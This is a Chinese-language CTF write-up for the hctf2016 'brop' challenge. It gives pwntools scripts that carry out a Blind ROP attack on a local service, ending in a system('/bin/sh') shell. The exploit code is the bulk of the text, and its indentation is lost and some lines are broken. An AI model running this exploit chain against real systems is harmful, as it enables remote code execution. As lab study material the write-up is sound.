hctf2016-brop

1.题目用以下代码编译和搭建,[brop.c]就是程序代码文件

1
2
3
4
#注释头

gcc -z noexecstack -fno-stack-protector -no-pie brop.c -o brop
socat tcp-listen:10001,fork exec:./brop,reuseaddr &

2.程序不打印我们的输入,并且输入多个%p没什么反应,那么应该就不是格式化字符串盲打,尝试栈溢出行不行,使用脚本爆破一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头

def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 10001)
sh.recvuntil('WelCome my friend,Do you know password?\n ')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1

buf_size = getbufferflow_length()
log.info("buf_size:%d"%buf_size)

不断尝试,如果没有接收到“No password”那就代表程序出错,栈溢出覆盖到了返回地址,这时候就退出,其它错误也退出。最后爆破出来为72个字节,那么buf的缓冲区就是72-8(rbp)=64个字节。(总感觉这里有点问题,如果真是blind,那么肯定也不知道是32位还是64位啊,那么就应该两种方案都要尝试一下吧)

3.寻找可以使得程序挂起的stop_gadget。这个stop_gadget是什么不重要,只要能让程序不崩溃,能够在之后探索其它可以rop的时候接收到正确的反馈,那么是什么都可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#注释头

def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)#缓冲
addr += 1
payload = "A"*buf_size
payload += p64(addr)#probe_addr
try:
sh = remote('127.0.0.1', 10001)
sh.recvline()
sh.sendline(payload)
sh.recvline()
sh.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:#crash and restart
sh.close()
log.info("bad: 0x%x" % addr)
except:#other error
log.info("Can't connect")
addr -= 1

4.得到stop_addr之后,就可以继续探索其它的rop_gadget,这里寻找万能gadget的六个pop的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#注释头

def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) +
p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p
64(5) + p64(6)
#Six pop without stop_addr
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
#Not crash,Bad addr.
except:#Crash,success addr
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1

找到之后,需要再次检查一下,用来确定是不是万能gadget,因为如果有程序六个pop之后不retn,那就不是万能gadget。因为需要dump二进制文件,所以需要万能gadget中的Pop rdi;ret 这个gadget来dump文件。

5.寻找puts函数的plt表,方便之后调用puts函数和pop rdi;ret这个gadget来dump二进制文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#注释头

def get_puts_addr(buf_size, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 10001)
sh.recvuntil('password?\n')
payload = 'A' * buf_size + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
#call put to print the head of ELF.
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print("find puts@plt addr: 0x%x"%addr)
return addr
sh.close()
addr += 1
except EOFError as e:
sh.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1

这里实际上找出来的地址并不是puts函数的plt表地址,而是在puts的plt表前面一点的内容,但是这一小段内容不影响栈和rdi寄存器,所以没什么影响。

6.利用puts函数和pop rdi;ret来dump二进制文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#注释头

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
sh = remote('127.0.0.1', 10001)
sh.recvline()
sh.sendline(payload)
data = sh.recv(timeout=0.1)
#timeout makes sure to recive all bytes
if data == "\n":#data = \x00
data = "\x00"
elif data[-1] == "\n":
#data = xxxxx\n\x00,data = \n\x00,data = xxxxx\x00
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
sh.close()
except:
log.info("Can't connect")
return result

由于puts 函数通过 \x00 进行截断,不会输出\x00,并且会在每一次输出末尾加上换行符\x0a ,所以有一些特殊情况需要做一些处理,比如单独的 \x00 、 \x0a 等。首先当然是先去掉末尾 puts 自动加上的 \n ,然后如果 recv 到一个 \n ,说明内存中是 \x00 ,如果 recv 到一个 \n\n ,说明内存中是\x0a 。 p.recv(timeout=0.1) 是由于函数本身的设定,如果有 \n\n ,它很可能在收到第一个 \n 时就返回了,加上参数可以让它全部接收完。

7.得到二进制文件后就是常规操作了,利用Dynelf或者LibcSearcher和puts函数找到system函数和binsh实际位置,之后通过pop rdi;ret来为system函数赋参数从而getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

sh = remote('127.0.0.1', 10001)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

这里的libcSearcher有时候不太好用,查到的libc不符合,或者是不对。还是DynElf好用一些,比较准确,并且由于是puts函数打印,所以可能需要单个字符来判断。但实际上64位条件下的got表中的地址一定是0x00007fxxxxxxxxxx,所以如果是大端情况,那么puts函数一定会截断,接收到的只会是xxxxxxxxxx7f和0a所以其实只要判断到换行符的时候就可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#注释头

def leak(address):
data = ""
c=""
up = ""
payload = 'a' * length + p64(rdi_ret) + p64(address) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.send(payload)
while True:
c = p.recv(1)
if up == '\n' and c == "W":
data = data[:-1]
data += "\x00"
break
else:
data += c
up = c
data=data[:7]#实际有效地址只有6个字符
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data


dynelf = DynELF(leak, elf=ELF("./brop"))
system_addr = dynelf.lookup("__libc_system", "libc")

但是DynElf好像不能找binsh字符串,所以如果用这种方法那就还需要泄露read的真实地址,找个能写的地方将binsh写进去再调用,比较麻烦。所以能用libcSearcher可以先用来试试,函数,binsh字符串都能找,比较方便一点。

参考资料:

https://wiki.x10sec.org/pwn/linux/stackoverflow/medium-rop-zh/#brop

ctf-all-in-one